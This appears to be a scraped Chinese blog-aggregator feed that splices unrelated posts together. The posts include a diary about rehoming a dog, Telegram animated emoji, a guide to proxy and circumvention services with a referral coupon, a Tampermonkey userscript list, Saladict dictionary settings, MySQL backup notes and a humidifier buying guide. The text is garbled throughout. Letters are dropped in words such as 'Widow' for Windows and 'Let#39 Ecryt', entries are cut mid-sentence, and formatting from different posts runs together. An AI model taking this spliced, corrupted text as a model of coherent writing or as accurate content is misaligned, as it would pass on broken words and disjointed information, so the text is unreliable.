我是怎么做到 23:00 前开始上床休息？
因为狗子会在 07:00 前开始叫我起床。2020-12-13
在豆瓣小组发了「送狗」的帖子，收到一个回应。我是不是太残忍了。
2020-12-14
在 豆瓣小组 上给 Tinkle 找到了新的主人。对不起，狗子，我们在错的时间相遇。
23:462020-12-15
Tinkle 今天不吃狗粮。
2020-12-16
社区管理员需要我和狗子的合照，但是我没有。
2020-12-17
狗子越来越不乖了，我一出门就狂叫，邻居们，对不起，对不起，对不起。
2020-12-18
狗子不乖，去天台排泄完，就不肯回家，迂回追赶好几次，才抓住他。
因为要去赶地铁，所以出门时忘记把倒狗粮出来了，刚好可以饿他一天。本是同屋狗，社畜虐牲畜。
2020-12-19
狗子在快餐店门口捡骨头吃，抓不住，也唤不回。做个测试，我先回家，看他会不会自己回家。
22:16刚要出去，狗子就自己回来了。
22:37爱狗，就要放手让他走，自己遛自己。
2020-12-20
狗子洗完澡，给他脚趾甲，一不小心，剪到一点点肉。
Tinkle 不惧恶犬，上前对峙（未栓绳），幸好我拉开了，不然就要负伤了。
22:102020-12-21
狗子，真的要把你送走吗？
2020-12-22
出去遛狗，狗子又自己跑远了。
2020-12-23
狗子今晚居然不想出去溜达。
2020-12-24
离别倒计时。
2020-12-25
狗子的最后一晚。
2020-12-26
给 Tinkle 洗了澡，理了脚底毛。
狗子再见了，虽然你我都很不舍。
16:47回到家，打开门，没有热情的狗子扑过来，空荡荡的房间，两只散落的拖鞋在光秃秃的地板上躺着。
2020-12-27
Tinkle，对不起，我没有能力和时间继续照顾你。希望你可以尽快适应，与 7 岁孩子一同成长。
没有狗子叫我起床啦。
没有狗子迎接我回家。
2020-12-28
没有狗子烦我，反而不习惯。
2021-01
2021-01-12
狗子再次易主，都怪我小时候没有教好他，总喜欢乱跑。
2021-02
2021-02-03
狗子，猫咪，你们还好吗？
- 博客 轶哥博客 2020-03-07 23:39:33<>在MySQL定时备份程序中我有提到一个基于Docker快速生成SSL证书的方式。该文章整理了该方案的详细教程。<>基于
Let#39 Ecryt免费SSL证书。 - 博客 Randy's Blog 2020-03-07 08:00:001499
- 博客 Jiajun的编程随想 2020-03-06 08:00:00《MySQL Boolean类型的坑》MySQL中，Boolean只是 tinyint(1) 的别名，也就是说，MySQL中并没有真正的bool类型。而SQLAlchemy生成SQL的时候并没有检测到这一点，这就导致一个问题，当使用 bool 类型作为查询条件时，用不上索引，从而导致扫表的行为...
- 博客 Jiajun的编程随想 2020-03-04 08:00:00《pip freeze是魔鬼》很多用Python的项目，喜欢用 `pip freeze > requirements.txt` 来保存依赖，而不是手动维护文件，`pip freeze` 是魔鬼。来看看一个项目依赖的简化版...
- 博客 Jiajun的编程随想 2020-03-02 08:00:00《一个feed流系统的演进》这几年我持续开发维护了一个类feed流系统。类feed流在结构上都有这么一个共性，即类feed流系统是一个中心节点，将多个用户和多个feed来源连接起来...
- 博客 Randy's Blog 2020-03-01 08:00:001503
- 博客 Jiajun的编程随想 2020-03-01 08:00:00《Android 使用view binding》在学习和使用flutter一段时间之后，发现flutter的生态和原生相比还是不在一个数量级。因此进行了原生安卓的学习。Android开发中比较烦的一个事情是，当你要操作Activity中的控件时，你必须要写类似的代码...
- 博客 庭说 2020-03-01 00:00:00
静态的 Emoji，被 Telegram 注入灵魂之后，一个个变得鲜活（Animated）起来了。
- 矢量格式（infinite resolution）
- 小于 50 KB
- 180 帧动画
会发声的 Animated Emoji
- 恐怖的：🧟♀️（女僵尸）、🧟（僵尸）、🧟♂️（男僵尸）、⚰️（棺材 ）、🎃（南瓜头）
- 开心的：🎉（拉炮）、🎄（圣诞树）
- 自信的：🦾（机械手臂）
- 挑逗的：🍑（啪啪啪）
会发声会震动 Animated Emoji
- 发送单个 ❤️ 并碰它一下，手机会震动，那是 Telegram Team 赋予 Emoji 的心跳（If your emoji has a heart, we'll give it a beat or unleash their spirit in motion）。
其它特别的 Animated Emoji
- 会「长大」的茄子：🍆
- See-No-Evil Monkey 🙈，纵使见到了你也会当作没看到（非礼勿视）。
电报 Emoji 小游戏
发送单个 触发效果 🎲 掷骰子 dice 🎯 扔飞镖 darts 🏀 投篮 basketball ⚽ 射门 football 🎳 保龄球 bowling 🎰 老虎机 jackpot / slot machine 截止 2021 年 6 月 19 日，一共 236 个 Animated Emoji。已经有人做成了表情包（Sticker），你可以 点此 添加到 Telegram。
😀
🐱
🍎
Animated Emoji Emojipedia 🍑 Peach 🍆 Eggplant 🎂 Birthday Cake 🥂 Clinking Glasses 🍾 Bottle with Popping Cork 🏀
Animated Emoji Emojipedia ⚽️ Soccer Ball 🏀 Basketball 🎲 Game Die 🎯 Direct Hit 🎮 Video Game 🎰 Slot Machine 🚘
Animated Emoji Emojipedia 🚗 Automobile 🚕 Taxi 🚓 Police Car 🚑 Ambulance 🗿 Moai 🎇 Sparkler 🎆 Fireworks 💡
💚
发布记录：February 13, 2020、September 5, 2019、August 9, 2019、March 30, 2020、April 24, 2020 、September 30, 2020、October 30, 2020、December 23, 2020
表情合集：有人把以上 Animated Emojies 做成了一个表情包，比原版更大，且支持循环播放，点此 添加。
表情搜索：在 Telegram 的消息框输入 关键词，你会看到一些相关 Emoji 弹出。
最新动态：关注 Animated Emojis 的 Telegram 频道。
关键阅读：
- Telegram（电报）：新手指南、使用教程及频道推荐
- emojiall.com 是一个支持中文的 Emoji 搜索网站
- 博客 构建我的被动收入 2020-02-29 08:00:00本文介绍了如何零成本搭建一个自由独立的写作平台-基于GitHub的个人技术博客搭建指南
- 博客 Jiajun的编程随想 2020-02-27 08:00:00《系统调用的过程》> 来自APUE和TLPI读书笔记一个系统调用是怎么发生的呢？典型步骤如下...
- 博客 Jiajun的编程随想 2020-02-26 08:00:00《MySQL charset不同导致无法使用索引的坑》今天排查了一个MySQL Charset不同导致无法使用索引的坑。当然最开始我是不知道的，同事碰到一个性能问题，我也在群里，因此就捞过界了一把，一起看了一下问题。但是从SQL来说应该是...
- 博客 庭说 2020-02-24 00:00:00
番茄（科学上网）市场鱼龙混杂，这些是我曾经购买过的付费番茄商，爱过。
Just My Socks
知名菜农 BandwagonHost（搬瓦工）出品，速度不错，售后响应还算及时。但现在不卖月付 2.88 USD 的番茄，只能选择 5.88 USD 的番茄。土豪之选，推荐合买。
切换语言
打开 Just My Socks 的官网，点击右上角的
Enhlish，然后切换网站语言为中文。注：
justmysocks.net和justmysocks1.net都已经被封了，最新的官网是 justmysocks3.net。注册账号
点击
注册，输入 Email（电子邮箱）、Country and State（国家和省份默认即可）、和密码，点击I'm not a robot进行人机身份验证，同意服务条款。注册完成后，最好验证一下邮箱。选择套餐
依次点击
服务-订购新服务，以套餐Just My Socks 100为例：- 费用：$5.88 / 月
- 流量：500 GB / 月
- 带宽：2.5 Gbps
- 设备：最多支持 5 个设备（电脑 + 手机）同时在线
下单付款
以
$5.88 USD 月繳为例，输入优惠码JMS9272283后是 $5.57，检验代码，Checkout，选择Alipay（支付宝）/PayPal，同意条款，完成订购，扫码支付。购买食用
- 依次点击
服务-我的服务，选择刚刚购买的套餐，即可看到刚刚买好的番茄。食用建议如下：- 把 5 个番茄都添加到 Shadowsocks 客户端（参阅 吃番茄 的章节）：因为这个番茄烂了，还有其他 4 个番茄可以备用。
- Server IP 推荐使用域名格式：
c**s*.jamjams.net
- 博客 庭说 2020-02-22 00:00:00
如果你没有购买翻墙套餐，或其它翻墙软件都失灵时，可使用免费的迷雾通（Geph）作为临时的跳板，越过东方高墙，突破网络封锁，连接自由网络。但免费的，可能也是最贵的。所以，在经济允许的情况下，强烈推荐购买 付费的番茄，节省时间和精力。
迷雾通
特点
- 提供完全免费的中速浏览（限速：800 kbps），够浏览新闻、查邮件、看标清视频（480p 以下）等。高速的付费 Plus 账号每个月是 €5。
- 支持 Windows 7+、macOS 10.10+ 和 Android，暂不支持 iOS。
下载
教程
Create a new account（注册）：Username（用户名）Password（密码）
Log in with existing account（登录）。- 在
Settings（设置）界面：Language（语言）-简体中文- 打开
中国流量代理（Exclude Chinese tracffic） - 电脑上可以配合浏览器插件 SwitchyOmega 实现更自由的分流策略，但本地端口号不是 1080，而是
localhost:9909
- 在
概览（Overview） 界面：- 随便选一个免费的节点（
国家 / 城市）：美国、加拿大、瑞士。 - 点击上方的按钮 🔘 即可拨开迷雾（连接成功，尽享自由的网络）
- 随便选一个免费的节点（
通知
Geph announcements | 迷雾通电报通知频道
赛风
Psiphon 是一个 开源 的免费翻墙软件，是我 2016 年刚开始自学翻墙时的垫脚石，没想到现在还能用。
Android
方法一：点此 直接下载 apk
方法二：在谷歌应用商店搜索赛风或者 点此 跳转到 Google Play
方法三：发送空白邮件到get@psiphon3.com但是开启 VPN 后会有一个广告：浏览器会跳转到 美国之音
Windows
方法一：点此 直接下载 exe
方法二：发送空白邮件到get@psiphon3.comiOS & macOS
在苹果应用商店搜索
赛风或者 点此 跳转到 App StoreiGG 谷歌访问助手
一个浏览器插件，只能免费访问 Google 家的产品，例如 Google 搜索引擎、Gmail 和 Chrome 网上应用店等，不支持为 YouTube 和其他客户端软件提供海外「加速」服务。
Ethan 翻墙会
免费提供 V2Ray 节点。
- Telegram Channel：人人翻墙，则墙自倒！
- 博客：cdpfanqianghui.blogspot.com
V2.FREEOK.XYZ
- 首家免费 V2Ray 服务，支持 SS、SR 和 V2Ray。
- 提供百+节点和G口带宽。
- 所有捐赠全部用于网站建设，非营利站点。
🔗关联阅读：零基础的小白到底如何翻墙？- TSBBLOG
- 博客 构建我的被动收入 2020-02-21 08:00:00本文介绍了零成本用Markdown搞定博客网站、笔记文档、演讲胶片与年终总结报告，彻底抛弃Word与PPT
- 博客 Jiajun的编程随想 2020-02-19 08:00:00《微服务的缺点》微服务，火了好几年的东西。曾经我们看中的是微服务拆分之后，每个项目变得更小，对团队的每个人来说维护成本降低，因为需要了解的东西局限于一个更小的服务。第二是加强了技术选型的灵活性。但是由于没有实践，并不知道微服务会带来什么大的问题...
- 博客 庭说 2020-02-19 00:00:00
油猴是浏览器中不可或缺的扩展程序里。如果插件给了浏览器第二春，那么油猴脚本给了第三春。本文以 Chrome 中的 TemperMoneky 为例，简单列出我的脚本清单。
油猴来由
油猴脚本，正式的叫法是用户脚本（user script）。
你可以将用户脚本理解为一种可以根据我们的实际需求，为网页「加料」的手段。
如果要用严谨一点的定义来说，用户脚本其实是一种注入式的 JavaScript 程序，在网页本身的程序之外，通过一些手段，将用户需要的数据和逻辑注入到当前的网页中，达到修改界面、增加功能等等的目的。
之所以叫做「油猴」，是因为第一个制作这个浏览器扩展的作者 Aaron Boodman 起名叫做 Greasymonkey，中文直译就是「油腻的猴子」；后面其他脚本开发的时候，基本都在沿用 Greasymonkey 的一些基本规范，这些脚本也就统称为「油猴脚本」了。by 油猴使用指南 01：传说中的「油猴」与用户脚本 - kokdemo
安装油猴
相似脚本管理器有 暴力猴（Violentmonkey）。相比 Tampermonkey，界面更简洁，管理脚本更方便，适合不喜欢折腾的用户。
安装脚本
用户脚本是一段代码，它们能够优化您的网页浏览体验。安装之后，有些脚本能为网站添加新的功能，有些能使网站的界面更加易用，有些则能隐藏网站上烦人的部分内容。
- 打开一个著名的脚本源网站：Greasy Fork
- 搜索脚本，或 根据脚本生效的网站过滤
- 安装脚本（油猴脚本图文安装教程）
通用脚本
适用于所有站点。
HTML5 视频播放器增强脚本
网页播放器增强脚本，支持使用快捷键（Enter）打开全屏、无级倍速调整（0.1 倍速到 16 倍速）、自动记录播放进度和播放倍率、快进快退（30 秒）、开启画中画、逐帧截图等功能。
快捷键 功能 Enter全屏 Space暂停 / 播放 Shift+Enter网页全屏 Shift+S截图 Shift+P开启画中画 Ctrl+→/←快进 / 进退 30 秒 N播放下一集 C加速播放（+0.1 倍） X减速播放（+0.1 倍） Z正常速度播放 D上一帧（方便精准截图） F下一帧（方便精准截图） Q图像复位 更多特性和快捷键，请参阅：
简悦( SimpRead ) · 轻阅版
简悦 · 轻阅版是 简悦 的轻量级版本，拥有 简悦的大部分特性，更具有加载速度快 · 只关注阅读模式呈现等特点。
Userscript+
- 在当前网站的右下角显示可用脚本（10 秒后自动消失）
- 筛选评分最高的前 50 个脚本
Picviewer CE+
可以将包含很多图片的网页变成图片浏览器，还能对图片进行翻转、旋转、放大，显示原始大图、收藏、批量保存，聚合所有分页大图，图片在线编辑等操作，功能丰富的不像是一款浏览器脚本，而更像是浏览器里的看图工具。@Appinn
显示最高质量的图片
- 右键点击图片
在新标签页中打开图片- 自动定位到最高质量图像
去繁留简
- 自动切换（利用此脚本）：将网页上的繁体中文转为简体中文。
- 手动切换（无需此脚本，Chrome 自带）：在网页的空白位置右键 -
翻译成中文（简体）
为什么你们就是不能加个空格呢？
自动在网页中所有的中文字和半形的英文、数字、符号之间插入空白。（摊手）没办法，处女座都有强迫症。
- Chrome 插件：为什么你们就是不能加个空格呢？
- 关联阅读：文案风格及排版指南 - 庭说
拒绝二维码登录
淘宝、京东、阿里云等网站默认使用账号密码登录，不出现二维码登录界面。
复制 Markdown 格式的超链接到剪贴板
快速复制 Markdown 格式（
[标题](网址)）的超链接到剪贴板特定脚本
只适用特定站点。
douban.com
豆瓣资源下载大师
- 聚合数百家资源网站，通过右侧边栏，几秒内告诉你哪些网站能下载对应的资源（FTP、BT、字幕、网盘等）
- 显示 IMDb、Metascore、Rotten Tomatoes（烂番茄）等的评分
- 有资源的站显示绿色，无法访问 / 没登陆的站显示白色，无资源的站显示黄色
- 显示对应的在线视频|在线音频|在线图书
- 显示对应的中英文
- 安装完脚本后，在弹出窗口点击
总是允许域名 - Telegram 频道：https://t.me/doubanchannel
在豆瓣电影页面直接搜索电影资源
by Cupfox 茶杯狐
这个脚本可以作为「豆瓣资源下载大师」的补充。
在豆瓣显示微信读书可读
微信读书很快要一统江湖了。
zhihu.com
知乎网页助手
- 外链直接跳转
- 无广告
- 下视频
- 左键划词自动复制
- 自动显示问题全部信息等
baidu.com
AC-baidu
- 去除广告
- 去除百家号
- ……
网盘助手
by 哩呵
- 百度网盘分享时自定义提取码
- 百度网盘、腾讯微云、蓝奏云万能钥匙
- 百度网盘生成并展示下载链接，再配合 IDM 插件，解决网盘限速问题
- 还有一些 NSFW 相关的脚本，这里就不便提及了
weibo.com
药方
- 根据关键字、作者、话题等过滤微博（及评论）
- 界面清理
- 去广告
- 调整版式
youtube.com
去除 YouTube 广告
- 打开
youtube.com - 点击 uBlock Origin 扩展程序的图标，即可关闭广告拦截功能。仅对 YouTube 有效，其它网站 uBlock Origin 依然可以拦截广告。这样看视频的时候就不会收到「YouTube 不允许使用广告拦截器」的警告。
- 安装这个 去除 YouTube 广告的脚本，轻量且高效，也能丝滑的去除界面广告和视频广告，包括 6 秒广告。
本地 YouTube 下载器
不需要透过第三方的服务就能下载 YouTube 影片。
同步脚本
右击 Tampermonkey -
选项-设置：通用-配置模式：高级同步脚本-启用 TESLA-同步类型：浏览器同步保存
如此设置，安装的脚本就可以随着你的 Google 账号进行同步。
没有番茄，推荐采用坚果云 WebDAV 同步脚本。
拒绝从头再来，重装系统之前这样备份你的油猴脚本 - by Eric_hong
关联阅读
- 👍 浏览器必备，2019 年度最喜欢油猴脚本 - 奔跑中的奶酪：大量精选脚本，任你挑选。
- 💚 谷歌浏览器（Google Chrome)：插件（扩展程序）清单及使用技巧 - 庭说
- 🔞 Sleazy Fork：这是一个提供 NSFW 脚本 的网站（新地址发布页）。
- 博客 庭说 2020-02-17 00:00:00
Saladict（沙拉查词）是一款聚合了大量权威词典的划词翻译插件（扩展程序），多个查词引擎可以交叉验证查词结果，助你全方位掌握外文词汇（涵盖中、英、日、韩、法、德、西语等），支持网页翻译、生词本、快捷键唤醒查词面板等功能，完全满足了我对查词插件所有的期望。
介绍
- 大量词典：大量权威词典涵盖中、英、日、韩、法、德、西语；同时对比多个词典快速掌握词义。
- 个性定制：个人按需配置（删除、添加、排序）词典，可以加快查询速度以及提升阅读效率。
- 无所不翻：多个主流机器翻译，除了翻译单词，还可以翻译长句。
- 查词历史：查词记录可导出到其它记忆软件（例如 Anki）中强化记忆。单词本可以通过 WebDAV 跨设备同步。
- 生态丰富：配合其它工具可实现浏览器外划词，OCR 查词（图片文字识别）。基于浏览器，不限于浏览器
- 论文模式：配合侧边栏模式的独立窗口查词面板，母亲手织毛衣的温暖，熬夜在沙拉查词上读论文时也能感受到。
- 网页翻译：支持有道网页翻译与谷歌网页翻译。
- 自动发音：还有真人发音。
- 排版清爽：带给你舒适的阅读效果。
更多细节，请参阅 Saladict 沙拉查词的官网。
安装
如何下载安装 最新发布版本：
- Google Chrome（谷歌浏览器）
- 具备 科学上网 的环境，直接 从 Chrome 网上应用店安装沙拉查词
- 否则，从 Chrome Extension Downloader / Crx4Chrome / 网盘 下载 crx 文件，使用开发者模式安装沙拉查词（请勿解压）。
- Firefox：火狐浏览器扩展商店
- Microsoft Edge：扩展商店
配置
以下是我的配置心得。更多细节，请参阅 沙拉查词使用教程（官方完整版）。
情景模式
我只配置了一个
默认模式，因为查词时懒得切换其他模式。所以，以下的「改造」都是在同一个情景模式下。查词面板
因为经常翻译长句，所以
保持展开自动展开多行搜索框。自定义查词面板样式 by CaliforniaDream：
.dictPanel-Root { border-radius: 5px; }.menuBar { background-color: #019425; }.dictItemHead { padding: 5px; cursor: pointer; box-shadow: rgba(0,0,0,.3) 0 -10px 15px -8px; }.mtaBox-TextArea { font-family: Consolas, "Helvetica Neue", Helvetica, Arial, "Hiragino Sans GB", "Hiragino Sans GB W3", "Microsoft YaHei UI", "Microsoft YaHei", sans-serif; }.mtaBox-DrawerBtn, .waveformBox-DrawerBtn { height: 20px; }我把顶部菜单栏的背景颜色换成 庭说绿
#019425：学习英文要保持绿意盎然、生机勃勃的好奇心词典设置
波形控制按钮在词典面板最下方显示音频控制面板展开按钮∧：- Loop：音频 AB 循环（循环播放发音）。
我的
已选词典排序如下：- 双语例句：真人发音，地道得不能再地道；但一些发音无法播放。
- 人人词典：提供原汁原味的中英文字幕学习场景。
- 维基百科：网络百科全书；有些词语配有插图。
- 朗文词典：英英词典（用英语解释英语，才能掌握英语思维）；有些单词配有插图。
- 英汉双语词典
- 剑桥词典
- 柯林斯高阶
- 配置多个长句翻译词典，便于交叉验证：
- 彩云小译
- 谷歌翻译
- 搜狗翻译
- 腾讯翻译君
- 百度翻译
- 有道翻译（不推荐）
- 谷歌词典：查看词形（过去式、过去分词、现在分词和第三人称单数等）。
- 有道词典：附带词义辨析。
其他词典（按需添加）：
- Urban：解释英语俚语词汇。
- Etymonline：解释英语单词的起源。
- 韦氏学习词典：详细的英英学习词典。
- 小鸡词典：网络流行语词典。
PDF 设置
开启
默认用本扩展浏览 PDF后，既可在 PDF 上进行划词翻译。- 右键点击沙拉查词，选择
管理扩展程序>允许访问文件网址 - 把 PDF 文件拖拽到 Chrome 或右键点击 PDF >
打开方式>Google Chrome - 哪里不会划哪里
详情请参阅 支持 PDF 划词的 Saladict 沙拉查词。
右键菜单
除了添加已有的
必应搜索和百度搜索（万不得已），我还自定义了以下链接：豆瓣电影：查看电影评分
https://movie.douban.com/subject_search?search_text=%s海词词典：查看单词的「释义常用度分布图」
http://dict.cn/%s快捷查词
启用快捷键后，将弹出独立词典界面：- Windows：连续按三次
Ctrl - macOS：连续按三次
⌘ Command - 设置浏览器键盘快捷键：Chrome 的设置入口是
chrome://extensions/shortcuts
我的习惯是：把文档放左边，独立词典窗口放右边。这样查单词，体验非常好。
导入导出
定期备份你精心配置好的沙拉查词，切换到新设备时，导入设定，即可享用。
技巧
右键点击图标
- 谷歌网页翻译
- 有道网页翻译
当前页面二维码
- 点击（右上方地址栏旁的）沙拉查词的图标，打开查词面板
- 鼠标移动到左下方的二维码图标，即可显示当前页面的二维码
- 使用手机扫描二维码，即可把当前浏览的网页传送到手机上
多行搜索框
位于顶栏搜索框下面，使用输入大段文字。
Enter换行Ctrl + Enter开始搜索
钉住与拖动查词面板
- 钉住：点击查词面板绿色任务栏上的 📌 即可「钉住」面板，面板不会消失，除非点击面板的 ❌。
- 拖动：按住绿色任务栏中间的空白部分可以拖动面板。
与 Quicker 联动
- 全局文本翻译
- 截图翻译（OCR 图像识别查词）
- 复制翻译
注：Windows 用户独占以上功能。
浏览器外划词
Windows
- Quicker：支持 OCR 图片文字识别；支持一边标注 PDF 一边使用沙拉查词翻译；支持鼠标手势操作。
- PantherBar
macOS
配合 Anki 使用
许多人疑惑添加生词为何不自动添加翻译（现已提供了上下文翻译）。与其它词典不一样，本扩展添加生词的方式是基于 Anki 和 SuperMemo 理念设计的，认为添加生词的过程也是记忆的一个环节。这刻意与当前流行的「尽可能省事」的设计相抵触，以避免迷失在信息流的漩涡中，产生「收藏既获得」的错觉。
关联阅读：记单词，神器再升级 - 山海青
关联阅读：
- 达达划词翻译 - Chrome
- 自带「生词簿」，可与扇贝、有道单词本同步
- 基于记忆曲线的「吐司弹词」
- 基于牛津字典的「英英翻译」、「例句」
- 外链「词根词缀」
- 好看
- 彩云小译 - 网页翻译插件：同时显示网页原文和翻译。
- 谷歌浏览器（Google Chrome)：插件（扩展程序）清单及使用技巧 - 庭说
- 博客 轶哥博客 2020-02-16 14:21:14<>在研发自助硬件设备的时候，需要实现Widow下的软件以管理员权限自启。
- Widow服务：需想办法调用UI进程。
- NSSM：一个方便的服务封装程序。但以管理员权限启动UI进程较困难。
- 注册表：常见方法在最新版wi10测试失败。可尝试抓取
Widow任务计划程序对注册表的修改。
Widow任务计划程序进行注册。 - 博客 轶哥博客 2020-02-15 13:10:41<>自动获取 MySQL 数据库备份文件并将其上传到对象存储。<>
Feature - 支持加密后压缩上传（默认上传到私密存储的“归档存储”类型，文件需解冻后方可下载）。
- 定时自动执行任务。
- We 可视化动态添加配置，支持同时管理多个数据库，可以设置需要备份的表或不需要备份的表。
支持生成单个 PHP 文件，用于仅内网可访问数据库或虚拟主机数据库的备份。支持生成 Shell 文件，用于仅内网可访问数据库的备份。（由于 Docker 部署已非常方便，这个功能不再开发）- 支持 Swagger UI 查看 API，方便与其它系统整合。
- 支持
超级管理员添加多个普通管理员，超级管理员可以管理所有数据库，普通管理员之间内容互不可见，适合普通开发团队的使用场景。 - 由于此系统仅为灾备设计，仅支持全量备份，默认备份
数据+结构（包含视图、触发器等），不支持增量备份。如果您的数据非常重要，请勿将此作为唯一备份系统，可配合服务商提供的备份功能使用。 - 兼容支持手机端访问。
- 博客 Jiajun的编程随想 2020-02-14 08:00:00《远程工作一周有感》由于疫情的缘故，最近在家远程办公一周了。很久以前就想过切换到远程工作这件事情，咨询过很多人，有的人说远程不好容易受打扰，有的人说远程好因为工作效率高，但是自己却一直没有机会试试。谁也没想到，突然就有一个机会尝试一把...
- 博客 构建我的被动收入 2020-02-13 08:00:00什么是市场营销？什么是广告？什么是互联网广告？互联网广告对互联网公司意味着什么？互联网的产业组成有哪些？什么是CPC、CPM、CPS、CPI？各种Vlog博主能赚多少钱？普通人如何利用互联网广告赚钱？这篇文章告诉你答案。
- 博客 Jiajun的编程随想 2020-02-12 08:00:00《Python中的并发控制》最近有个需求，要大批量写数据，项目是用Python写的。所以有个问题就是如何使用Python做并发控制，如果是Go语言，那么就可以使用[WaitGroup](https://golang.org/pkg/sync/#WaitGroup)...
- 博客 Jiajun的编程随想 2020-02-08 08:00:00《KVM spice协议在高分屏上的分辨率问题》高分屏用起来很爽，但是目前还是经常会遇到各类问题，比如，最近我发现如果我使用扩展显示器，virt manager可以完美的切换guest的分辨率，但是一旦我切回笔记本的屏幕（高分屏），guest就无法自动更新分辨率，而是会有一个最大上限比如 `1600x1020` 之类的...
- 博客 王子亭的博客 2020-02-07 01:00:00
我从小一直生活在湿度很低的北方，常年鼻子和咽喉不舒服，经常流鼻血，但因为从小如此，也没觉得有什么不对劲。而来到苏州之后，我就觉得苏州湿润的空气真是好呀，鼻炎和咽炎的症状几乎没有了。但等到冬天开空调的时候就觉得无法再回到那么干燥的环境了，于是开始疯狂地买加湿器，这么多年下来，应该买过差不多十个加湿器了。
加湿原理
超声波 加湿器使用超声波将水打散成为非常小的小液滴，然后用风扇吹出，小水珠通常会在落地之前蒸发为水蒸汽，溶解至空气中。超声波加湿器是使用最普遍、价格最低、同价位加湿量最大的加湿器类型。其主要缺点是超声波会将水中的固体颗粒物和溶解物一起吹出，且容易有颗粒较大的液滴未能在落地之前完全溶解到空气中。虽说超声波加湿器被认为并没有耗材，但实际上其核心组件雾化片的寿命只有两年左右，且难以更换。
冷蒸发 加湿器使用风扇将空气吹过吸水的多孔材料，加速水的蒸发。冷蒸发是近一段时间中被高端的加湿器所采用的技术，不会有固体颗粒物进入空气，加湿量随湿度变化有一定自我调节的能力。其主要缺点是单位价格加湿量较低（且加湿量和噪音成正比），用于吸水的多孔材料作为耗材需要定时更换。
热蒸发 加湿器简单地通过加热水来产生水蒸汽。热蒸发加湿量较大（和功率成正比），同样没有固体颗粒物进入空气。其主要缺点是耗电较多，会增加室内温度（冬天倒是不要紧），且高温蒸汽遇到低温物体会产生水珠凝结。
类型 价格 水珠凝结 耗电 耗材和使用寿命 固体颗粒物 加湿量(同价位) 超声波 低 有 低 无耗材 寿命短 有 高 冷蒸发 高 无 低 有耗材 无 低 热蒸发 中等 有 高 无耗材 无 中等 在加湿原理上面我觉得很难一概而论，需要具体情况具体分析。但如果你不知道怎么选的话，可以先买个性价比最高的超声波加湿器试试看。
湿度
我们通常说的湿度其实是指相对湿度，即相对于当前空气中能溶解水蒸汽的最大量来说的湿度。人在不同的温度下对于同一相对湿度的感受是完全不同的，在 28 度下 40% 的相对湿度会比较舒适，而在 22 度下则需要 60% 的相对湿度才能达到相同的感受。
于是我找到了一个单一指标来衡量体感湿度 —— 露点，露点描述的是在当前温度和相对湿度的条件下，空气中的水蒸汽遇到多冷的物体时会凝结成小水珠，综合了温度、相对湿度和大气压力的影响。
对于我而言我觉得理想的露点是在 13 度左右，也就是我前面说的 28 度下 40%、22 度下 60%。如果你不像我这么喜欢湿润的空气，可以调低一点，例如 10 度左右。
加湿量
首先我们根据房间容积（这里以我家客厅 90 立方米计算）、目标温度和目标湿度来计算所需要的加湿量。我这里的计算并没有扣除家具所占用的空间，主要是考虑到家具本身（尤其是织物）也是会吸水的，所以综合考量下来不加也不减。
先计算不开空调和加湿器时的基准值，按室外温度 10 度，相对湿度 60% 计算，查表可得每立方米有 5.63g 的水蒸汽，总共就是
90m^2 * 5.63g = 506.7g，相当于我们房间里本来就有这么多水。然后按照目标温度 24 度，目标露点 13 度，算出目标相对湿度是 50%，查表可得每立方米有 10.85g 的水蒸汽，总共就是
90m^2 * 10.85g = 976.5g，相当于我们的目标是房间里有这么多水。这意味着我们需要补充差不多 500g 的水到空气中，但需要注意的是房间并不是密闭的，房间里的空气一直在和外界进行着交换，水蒸汽会流失到外界，也会在低温物体（如玻璃）上凝结为小水珠。以我个人的经验，如果你需要补充 500g 的水到空气中的话，那差不多你就需要一个加湿量 500ml/h 的加湿器 —— 相当于每小时房间里的水分都会流失掉一遍。如果加湿器的加湿量不够的话，就会出现即使一直开到最大，湿度也升不上去的情况。
500ml/h 已经算是加湿量比较大量的加湿器了，你需要考虑是使用多个加湿器还是单个加湿器。多个加湿器的话维护成本会比较高，你需要单独为每个加湿器加水、进行清洗和维护；单个加湿器的话则要考虑如何增加空气的对流，让整个房间保持相对均匀的湿度，例如冬天开空调的话，可以把加湿器放在空调可以直接吹到的地方。
功能
在购买加湿器的时候需要留意这些功能：
- 上加水 极大地提升了加水的便利性，直接关系到使用体验。
- 水箱 注意确认容量是否足够、水箱的形状是否容易清洗。
- 通电自动启动 有些加湿器在接通电源后还需要触摸按键才能启动，这样便无法与智能插座配合使用。
- 出雾高度和方向 出雾方向是否可调，这会影响加湿器放置的灵活性。
- 紫外线除菌 见后面「固体颗粒物」小节。
可有可无的功能：
- 红外线遥控 可以和智能家居组件配合使用。
- 指示灯 如果是放在卧室的话，需要确认指示灯的亮度以及是否可以关闭，否则可能关灯后会显得太亮。
- 智能控制 大多需要专门的应用，难以和既有的智能家居一同工作，不如用智能插座或红外遥控来解决。
- 恒湿 位于机器本体上的湿度传感器非常不准确，效果有限（尤其对于超声波加湿器）。
不太需要关注的功能：
- 静音 大多数超声波加湿器都没多大差别。
- 缺水保护 所有加湿器都有的功能。
没什么用的功能：
- 银离子 效果要比紫外线差很多，而且需要耗材。
- 净水滤芯 本来加的都是干净的水，没有必要过滤，而且需要耗材。
- 负离子 并没有可靠的资料表明这个功能有什么作用。
关于大雾量加湿器：
单个超声波雾化片可以提供 300ml/h - 400ml/h 的加湿量，再大的加湿量就需要考虑多个雾化片的加湿器了。
固体颗粒物
超声波加湿器会将水打成小液滴，这会导致家用的固体颗粒物传感器瞬间爆表，但实际上家用的传感器是无法区分小液滴和真正的固体颗粒物的，因此这个传感器的数值并不能说明有多少固体颗粒物进入到了空气中。
但我们仍有必要考虑微生物在加湿器内滋生并随着小液滴进入空气的情况，市场上目前有紫外线和银离子两种方案来解决这一问题。
经过我的调查，紫外线的除菌效果要远优于银离子，且不需要耗材：
- 紫外线被标注为「除菌」，而银离子被标注为「抑菌」
- 网络上一些细菌培养实验显示紫外线的除菌效果更好
- 高端的加湿器通常采用紫外线除菌
下一个问题就是加湿器中到底应该加什么水呢？
一派观点认为自来水中的余氯有助于减少加湿器中的细菌；另一派观点认为有条件加纯水当然应该加纯水，可以减少被超声波打入空气中的溶解物数量（尤其一些地区自来水的 TDS 非常高），也可以延长超声波雾化片、冷蒸发的多孔材料、热蒸发的电热管的使用寿命。
所以综合考虑，建议大家选择有紫外线除菌功能的加湿器，然后向加湿器中添加净水器产生的纯水来避免自来水中的溶解物进入空气。
参考资料
